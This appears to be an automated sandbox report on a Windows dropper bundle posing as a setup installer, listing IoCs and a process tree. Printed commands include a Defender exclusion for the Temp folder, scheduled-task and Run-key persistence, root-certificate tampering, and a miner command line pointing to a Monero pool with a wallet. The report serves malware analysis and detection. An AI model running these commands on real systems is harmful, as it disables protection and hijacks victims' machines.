0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Thu214ce31cede21.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Thu214ce31cede21.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2088 PING.EXE -
Script User-Agent 7 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 12 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 13 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 16 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 41 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 50 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 52 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 69 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 544 cmd.exe 2736 WerFault.exe 2736 WerFault.exe 2736 WerFault.exe 2736 WerFault.exe 2736 WerFault.exe 2736 WerFault.exe 2736 WerFault.exe 2736 WerFault.exe 2736 WerFault.exe -
Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeCreateTokenPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeAssignPrimaryTokenPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeLockMemoryPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeIncreaseQuotaPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeMachineAccountPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeTcbPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeSecurityPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeTakeOwnershipPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeLoadDriverPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeSystemProfilePrivilege 2016 Thu21a1ef054cac78a.exe Token: SeSystemtimePrivilege 2016 Thu21a1ef054cac78a.exe Token: SeProfSingleProcessPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeIncBasePriorityPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeCreatePagefilePrivilege 2016 Thu21a1ef054cac78a.exe Token: SeCreatePermanentPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeBackupPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeRestorePrivilege 2016 Thu21a1ef054cac78a.exe Token: SeShutdownPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeDebugPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeAuditPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeSystemEnvironmentPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeChangeNotifyPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeRemoteShutdownPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeUndockPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeSyncAgentPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeEnableDelegationPrivilege 2016 Thu21a1ef054cac78a.exe Token: SeManageVolumePrivilege 2016 Thu21a1ef054cac78a.exe Token: SeImpersonatePrivilege 2016 Thu21a1ef054cac78a.exe Token: SeCreateGlobalPrivilege 2016 Thu21a1ef054cac78a.exe Token: 31 2016 Thu21a1ef054cac78a.exe Token: 32 2016 Thu21a1ef054cac78a.exe Token: 33 2016 Thu21a1ef054cac78a.exe Token: 34 2016 Thu21a1ef054cac78a.exe Token: 35 2016 Thu21a1ef054cac78a.exe Token: SeDebugPrivilege 796 setup_2.exe Token: SeDebugPrivilege 1636 Thu219d5fe8cf316.exe Token: SeDebugPrivilege 2984 taskkill.exe Token: SeDebugPrivilege 544 cmd.exe Token: SeDebugPrivilege 2180 5784452.exe Token: SeDebugPrivilege 2908 2.exe Token: SeDebugPrivilege 2756 PublicDwlBrowser1100.exe Token: SeDebugPrivilege 1692 taskkill.exe Token: SeDebugPrivilege 2736 WerFault.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1784 Thu21b93295136197.tmp 2912 iexplore.exe -
Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 2912 iexplore.exe 2912 iexplore.exe 284 IEXPLORE.EXE 284 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1972 wrote to memory of 1744 1972 setup_x86_x64_install.exe 26 PID 1972 wrote to memory of 1744 1972 setup_x86_x64_install.exe 26 PID 1972 wrote to memory of 1744 1972 setup_x86_x64_install.exe 26 PID 1972 wrote to memory of 1744 1972 setup_x86_x64_install.exe 26 PID 1972 wrote to memory of 1744 1972 setup_x86_x64_install.exe 26 PID 1972 wrote to memory of 1744 1972 setup_x86_x64_install.exe 26 PID 1972 wrote to memory of 1744 1972 setup_x86_x64_install.exe 26 PID 1744 wrote to memory of 1388 1744 setup_installer.exe 27 PID 1744 wrote to memory of 1388 1744 setup_installer.exe 27 PID 1744 wrote to memory of 1388 1744 setup_installer.exe 27 PID 1744 wrote to memory of 1388 1744 setup_installer.exe 27 PID 1744 wrote to memory of 1388 1744 setup_installer.exe 27 PID 1744 wrote to memory of 1388 1744 setup_installer.exe 27 PID 1744 wrote to memory of 1388 1744 setup_installer.exe 27 PID 1388 wrote to memory of 748 1388 setup_install.exe 29 PID 1388 wrote to memory of 748 1388 setup_install.exe 29 PID 1388 wrote to memory of 748 1388 setup_install.exe 29 PID 1388 wrote to memory of 748 1388 setup_install.exe 29 PID 1388 wrote to memory of 748 1388 setup_install.exe 29 PID 1388 wrote to memory of 748 1388 setup_install.exe 29 PID 1388 wrote to memory of 748 1388 setup_install.exe 29 PID 1388 wrote to memory of 1872 1388 setup_install.exe 30 PID 1388 wrote to memory of 1872 1388 setup_install.exe 30 PID 1388 wrote to memory of 1872 1388 setup_install.exe 30 PID 1388 wrote to memory of 1872 1388 setup_install.exe 30 PID 1388 wrote to memory of 1872 1388 setup_install.exe 30 PID 1388 wrote to memory of 1872 1388 setup_install.exe 30 PID 1388 wrote to memory of 1872 1388 setup_install.exe 30 PID 1388 wrote to memory of 1648 1388 setup_install.exe 31 PID 1388 wrote to memory of 1648 1388 setup_install.exe 31 PID 1388 wrote to memory of 1648 1388 setup_install.exe 31 PID 1388 wrote to memory of 1648 1388 setup_install.exe 31 PID 1388 wrote to memory of 1648 1388 setup_install.exe 31 PID 1388 wrote to memory of 1648 1388 setup_install.exe 31 PID 1388 wrote to memory of 1648 1388 setup_install.exe 31 PID 1388 wrote to memory of 432 1388 setup_install.exe 32 PID 1388 wrote to memory of 432 1388 setup_install.exe 32 PID 1388 wrote to memory of 432 1388 setup_install.exe 32 PID 1388 wrote to memory of 432 1388 setup_install.exe 32 PID 1388 wrote to memory of 432 1388 setup_install.exe 32 PID 1388 wrote to memory of 432 1388 setup_install.exe 32 PID 1388 wrote to memory of 432 1388 setup_install.exe 32 PID 1388 wrote to memory of 1552 1388 setup_install.exe 37 PID 1388 wrote to memory of 1552 1388 setup_install.exe 37 PID 1388 wrote to memory of 1552 1388 setup_install.exe 37 PID 1388 wrote to memory of 1552 1388 setup_install.exe 37 PID 1388 wrote to memory of 1552 1388 setup_install.exe 37 PID 1388 wrote to memory of 1552 1388 setup_install.exe 37 PID 1388 wrote to memory of 1552 1388 setup_install.exe 37 PID 1388 wrote to memory of 516 1388 setup_install.exe 33 PID 1388 wrote to memory of 516 1388 setup_install.exe 33 PID 1388 wrote to memory of 516 1388 setup_install.exe 33 PID 1388 wrote to memory of 516 1388 setup_install.exe 33 PID 1388 wrote to memory of 516 1388 setup_install.exe 33 PID 1388 wrote to memory of 516 1388 setup_install.exe 33 PID 1388 wrote to memory of 516 1388 setup_install.exe 33 PID 748 wrote to memory of 544 748 cmd.exe 34 PID 748 wrote to memory of 544 748 cmd.exe 34 PID 748 wrote to memory of 544 748 cmd.exe 34 PID 748 wrote to memory of 544 748 cmd.exe 34 PID 748 wrote to memory of 544 748 cmd.exe 34 PID 748 wrote to memory of 544 748 cmd.exe 34 PID 748 wrote to memory of 544 748 cmd.exe 34 PID 1388 wrote to memory of 1452 1388 setup_install.exe 36
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1972 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1744 -
C:\Users\Admin\AppData\Local\Temp\7zS0D68C224\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS0D68C224\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1388 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
PID:748 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵PID:544
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu219d5fe8cf316.exe4⤵
- Loads dropped DLL
PID:1872 -
C:\Users\Admin\AppData\Local\Temp\7zS0D68C224\Thu219d5fe8cf316.exeThu219d5fe8cf316.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1636 -
C:\ProgramData\5784452.exe"C:\ProgramData\5784452.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2180 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2180 -s 16647⤵
- Program crash
PID:2480
-
-
-
C:\ProgramData\3522718.exe"C:\ProgramData\3522718.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
PID:1704 -
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1276
-
-
-
C:\ProgramData\3287617.exe"C:\ProgramData\3287617.exe"6⤵PID:2920
-
-
C:\ProgramData\2179662.exe"C:\ProgramData\2179662.exe"6⤵
- Executes dropped EXE
PID:3016
-
-
C:\ProgramData\7386708.exe"C:\ProgramData\7386708.exe"6⤵
- Executes dropped EXE
PID:1624
-
-
C:\ProgramData\6753134.exe"C:\ProgramData\6753134.exe"6⤵PID:2872
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2872 -s 18407⤵
- Program crash
PID:3312
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21624565bb917a.exe4⤵PID:1648
-
C:\Users\Admin\AppData\Local\Temp\7zS0D68C224\Thu21624565bb917a.exeThu21624565bb917a.exe5⤵PID:1044
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21a1ef054cac78a.exe4⤵
- Loads dropped DLL
PID:432 -
C:\Users\Admin\AppData\Local\Temp\7zS0D68C224\Thu21a1ef054cac78a.exeThu21a1ef054cac78a.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:2016 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:1860
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1692
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21b93295136197.exe4⤵
- Loads dropped DLL
PID:516 -
C:\Users\Admin\AppData\Local\Temp\7zS0D68C224\Thu21b93295136197.exeThu21b93295136197.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:648 -
C:\Users\Admin\AppData\Local\Temp\is-QA3SO.tmp\Thu21b93295136197.tmp"C:\Users\Admin\AppData\Local\Temp\is-QA3SO.tmp\Thu21b93295136197.tmp" /SL5="$40136,138429,56832,C:\Users\Admin\AppData\Local\Temp\7zS0D68C224\Thu21b93295136197.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
PID:1784 -
C:\Users\Admin\AppData\Local\Temp\is-RGC5J.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-RGC5J.tmp\Setup.exe" /Verysilent7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
- Drops file in Program Files directory
PID:2804
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu214ce31cede21.exe4⤵
- Loads dropped DLL
PID:1104 -
C:\Users\Admin\AppData\Local\Temp\7zS0D68C224\Thu214ce31cede21.exeThu214ce31cede21.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
PID:1696 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1696 -s 10366⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2736
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21b9847cb6727.exe4⤵
- Loads dropped DLL
PID:1452 -
C:\Users\Admin\AppData\Local\Temp\7zS0D68C224\Thu21b9847cb6727.exeThu21b9847cb6727.exe5⤵
- Executes dropped EXE
PID:1708
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2164f292a11ce.exe4⤵PID:1552
-
C:\Users\Admin\AppData\Local\Temp\7zS0D68C224\Thu2164f292a11ce.exeThu2164f292a11ce.exe5⤵
- Executes dropped EXE
PID:1936
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21df5caa1b78de6.exe /mixone4⤵
- Loads dropped DLL
PID:1236 -
C:\Users\Admin\AppData\Local\Temp\7zS0D68C224\Thu21df5caa1b78de6.exeThu21df5caa1b78de6.exe /mixone5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1588 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Thu21df5caa1b78de6.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS0D68C224\Thu21df5caa1b78de6.exe" & exit6⤵PID:2900
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Thu21df5caa1b78de6.exe" /f7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2984
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2102ff6cfe07c.exe4⤵PID:1604
-
C:\Users\Admin\AppData\Local\Temp\7zS0D68C224\Thu2102ff6cfe07c.exeThu2102ff6cfe07c.exe5⤵PID:1920
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21568b0ab8.exe4⤵
- Loads dropped DLL
PID:1832
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu214aaca5625.exe4⤵
- Loads dropped DLL
PID:1656
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2156de5489c19.exe4⤵
- Loads dropped DLL
PID:596
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0D68C224\Thu21568b0ab8.exeThu21568b0ab8.exe1⤵PID:796
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2128 -
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"3⤵
- Executes dropped EXE
PID:2264 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit4⤵PID:3252
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'5⤵
- Creates scheduled task(s)
PID:3308
-
-
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"4⤵PID:3416
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit5⤵PID:2628
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'6⤵
- Blocklisted process makes network request
- Creates scheduled task(s)
PID:1588
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"5⤵PID:2288
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth5⤵PID:1728
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2756 -
C:\ProgramData\5837734.exe"C:\ProgramData\5837734.exe"4⤵PID:480
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 480 -s 16165⤵
- Program crash
PID:2196
-
-
-
C:\ProgramData\2086005.exe"C:\ProgramData\2086005.exe"4⤵PID:1556
-
-
C:\ProgramData\6835803.exe"C:\ProgramData\6835803.exe"4⤵PID:3368
-
-
C:\ProgramData\6969789.exe"C:\ProgramData\6969789.exe"4⤵PID:3544
-
-
C:\ProgramData\2618260.exe"C:\ProgramData\2618260.exe"4⤵PID:3736
-
-
C:\ProgramData\5605911.exe"C:\ProgramData\5605911.exe"4⤵PID:3804
-
-
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2908 -
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"4⤵PID:2516
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"3⤵
- Executes dropped EXE
PID:1892 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit4⤵
- Blocklisted process makes network request
- Executes dropped EXE
- Loads dropped DLL
PID:1920 -
C:\Windows\SysWOW64\taskkill.exetaskkill /im "setup.exe" /f5⤵
- Kills process with taskkill
PID:2768
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\udptest.exe"C:\Users\Admin\AppData\Local\Temp\udptest.exe"3⤵
- Executes dropped EXE
PID:1304
-
-
C:\Users\Admin\AppData\Local\Temp\DVORAK.exe"C:\Users\Admin\AppData\Local\Temp\DVORAK.exe"3⤵
- Executes dropped EXE
PID:2464 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2464 -s 14084⤵
- Program crash
PID:3464
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:796 -
C:\Users\Admin\AppData\Local\Temp\is-RNBBJ.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-RNBBJ.tmp\setup_2.tmp" /SL5="$20184,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"4⤵
- Executes dropped EXE
PID:1000 -
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT5⤵
- Executes dropped EXE
PID:1012 -
C:\Users\Admin\AppData\Local\Temp\is-SPBCC.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-SPBCC.tmp\setup_2.tmp" /SL5="$30188,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT6⤵PID:580
-
C:\Users\Admin\AppData\Local\Temp\is-IUUA9.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-IUUA9.tmp\postback.exe" ss17⤵PID:1652
-
C:\Windows\SysWOW64\explorer.exeexplorer.exe ss18⤵PID:3936
-
C:\Users\Admin\AppData\Local\Temp\qb2cUTeJc.exe"C:\Users\Admin\AppData\Local\Temp\qb2cUTeJc.exe"9⤵PID:3224
-
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe"C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe"10⤵PID:3592
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\11⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:544 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\12⤵PID:816
-
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe" /F11⤵
- Creates scheduled task(s)
PID:3280
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe"3⤵
- Executes dropped EXE
PID:2380 -
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe" -a4⤵
- Executes dropped EXE
PID:2904
-
-
-
C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"3⤵
- Executes dropped EXE
PID:2456
-
-
C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"3⤵PID:1504
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0D68C224\Thu214aaca5625.exeThu214aaca5625.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1824 -
C:\Users\Admin\AppData\Local\Temp\is-PFOSM.tmp\Thu214aaca5625.tmp"C:\Users\Admin\AppData\Local\Temp\is-PFOSM.tmp\Thu214aaca5625.tmp" /SL5="$60130,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS0D68C224\Thu214aaca5625.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1440 -
C:\Users\Admin\AppData\Local\Temp\is-N7NCE.tmp\46807GHF____.exe"C:\Users\Admin\AppData\Local\Temp\is-N7NCE.tmp\46807GHF____.exe" /S /UID=burnerch23⤵
- Executes dropped EXE
PID:2728 -
C:\Program Files\VideoLAN\GFWTVOXDKV\ultramediaburner.exe"C:\Program Files\VideoLAN\GFWTVOXDKV\ultramediaburner.exe" /VERYSILENT4⤵PID:2832
-
C:\Users\Admin\AppData\Local\Temp\is-13QPB.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-13QPB.tmp\ultramediaburner.tmp" /SL5="$601CC,281924,62464,C:\Program Files\VideoLAN\GFWTVOXDKV\ultramediaburner.exe" /VERYSILENT5⤵PID:2056
-
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu6⤵PID:2868
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3e-b4fd0-399-52a87-71c1789385a7f\Rikozhylusu.exe"C:\Users\Admin\AppData\Local\Temp\3e-b4fd0-399-52a87-71c1789385a7f\Rikozhylusu.exe"4⤵PID:3172
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e65⤵PID:3912
-
